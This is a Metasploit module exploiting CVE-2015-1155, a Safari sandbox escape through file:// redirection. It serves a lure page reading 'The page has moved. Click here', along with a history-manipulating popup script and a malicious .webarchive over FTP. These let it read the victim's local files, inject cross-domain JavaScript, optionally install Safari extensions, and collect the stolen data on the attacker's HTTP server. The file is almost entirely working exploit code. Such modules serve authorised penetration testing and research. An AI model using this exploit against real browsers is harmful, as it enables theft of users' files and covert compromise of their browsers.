Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to a "state management issue" that allows a browser window to be navigated to a file:// URL. By dropping and loading a malicious .webarchive file, an attacker can read arbitrary files, inject cross-domain Javascript, and silently install Safari extensions.
ec1e4e18a1e9d055c3ab49c1e568cfd98484e3ffe54d3a28caba066e8099b47f##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Format::Webarchive
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Safari file:// Redirection Sandbox Escape',
'Description' => %q{
Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to a
"state management issue" that allows a browser window to be navigated
to a file:// URL. By dropping and loading a malicious .webarchive file,
an attacker can read arbitrary files, inject cross-domain Javascript, and
silently install Safari extensions.
},
'License' => MSF_LICENSE,
'Author' => [
'joev' # discovery, module
],
'References' => [
['ZDI', '15-228'],
['CVE', '2015-1155'],
['URL', 'https://support.apple.com/en-us/HT204826']
],
'Platform' => 'osx',
'DisclosureDate' => '2014-01-16'
))
register_options([
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 8081]),
OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080])
])
end
def lookup_lhost(c=nil)
# Get the source address
if datastore['SRVHOST'] == '0.0.0.0'
Rex::Socket.source_address( c || '50.50.50.50')
else
datastore['SRVHOST']
end
end
def on_request_uri(cli, req)
if req.method =~ /post/i
data_str = req.body.to_s
begin
data = JSON::parse(data_str || '')
file = record_data(data, cli)
send_response(cli, '')
print_good "data #{data.keys.join(',')} received and stored to #{file}"
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
file = record_data(data_str, cli)
print_error "Invalid JSON stored in #{file}"
send_response(cli, '')
end
elsif req.uri =~ /#{popup_path}$/
send_response(cli, 200, 'OK', popup_html)
else
send_response(cli, 200, 'OK', exploit_html)
end
end
def ftp_user
@ftp_user ||= Rex::Text.rand_text_alpha(6)
end
def ftp_pass
@ftp_pass ||= Rex::Text.rand_text_alpha(6)
end
def exploit_html
%Q|
<html><body>
<script>
window.onclick = function() {
window.open(window.location+'/#{popup_path}', 'x', 'width=1,height=1');
}
</script>
The page has moved. <a href='#'>Click here</a> to be redirected.
</body></html>
|
end
def ftp_url
"ftp://#{ftp_user}:#{ftp_pass}@#{lookup_lhost}:#{datastore['SRVPORT']}"
end
def popup_html
%Q|
<script>
function perform() {
if (arguments.length > 0) {
var nextArgs = Array.prototype.slice.call(arguments, 1);
arguments[0]();
setTimeout(function() {
perform.apply(null, nextArgs);
}, 300);
}
}
perform(
function() { opener.location = 'http://localhost:99999'; },
function() { history.pushState.call(opener.history, {}, {}, 'file:///'); },
function() { opener.location = 'about:blank' },
function() { opener.history.back(); },
function() { window.location = '#{ftp_url}'; },
function() { opener.location = 'http://localhost:99998'; },
function() {
history.pushState.call(
opener.history, {}, {},
'file:///Volumes/#{lookup_lhost}/#{payload_name}'
);
},
function() { opener.location = 'about:blank'; },
function() { opener.history.back(); },
function() { if (#{datastore['INSTALL_EXTENSION']}) { opener.postMessage('EXT', '*'); window.location = '#{apple_extension_url}'; } else { window.close(); } }
)
</script>
|
end
#
# Handle FTP LIST request (send back the directory listing)
#
def on_client_command_list(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
print_status("Data connection setup")
c.put("150 Here comes the directory listing\r\n")
print_status("Sending directory list via data connection #{webarchive_size}")
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
m = month_names[Time.now.month-1]
d = Time.now.day
y = Time.now.year
dir = "-rwxr-xr-x 1 ftp ftp #{webarchive_size} #{m} #{d} #{y} #{payload_name}\r\n"
print_status dir
conn.put(dir)
conn.close
print_status("Directory sent ok")
c.put("226 Transfer ok\r\n")
return
end
#
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
#
def on_client_command_retr(c, arg)
conn = establish_data_connection(c)
if not conn
return c.put("425 can't build data connection\r\n")
end
print_status("Connection for file transfer accepted")
c.put("150 Connection accepted\r\n")
# Send out payload
conn.put(webarchive)
conn.close
end
def volume_name
@volume_name ||= Rex::Text.rand_text_alpha(12)
end
def payload_name
'msf.webarchive'
end
def popup_path
@popup_uri ||= Rex::Text.rand_text_alpha(12)
end
def webarchive
webarchive_xml
end
def webarchive_size
print_status "Webarchive_SiZE=#{webarchive_xml.length}"
webarchive_xml.length
end
def run
# Start the FTP server
print_status("Running FTP service...")
start_service
# Create our own HTTP server
# We will stay in this function until we manually terminate execution
start_http
end
#
# Handle the HTTP request and return a response. Code borrorwed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
end
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if !Rex::Text.zlib_present? && datastore['HTTP::compression']
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
end
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
path = '/' + path if path !~ /^\//
datastore['URIPATH'] = path
return path
end
#
# Create an HTTP response and then send it
#
def send_response(cli, code, message='OK', html='')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'text/html'
res.body = html
cli.send_response(res)
end
# @param [Hash] data the data to store in the log
# @return [String] filename where we are storing the data
def record_data(data, cli)
name = if data.is_a?(Hash) then data.keys.first else 'data' end
file = File.basename(name).gsub(/[^A-Za-z]/,'')
store_loot(
file, "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"
)
end
#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super
# Kill FTP
cleanup_service
# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service = nil
rescue
end
end
end
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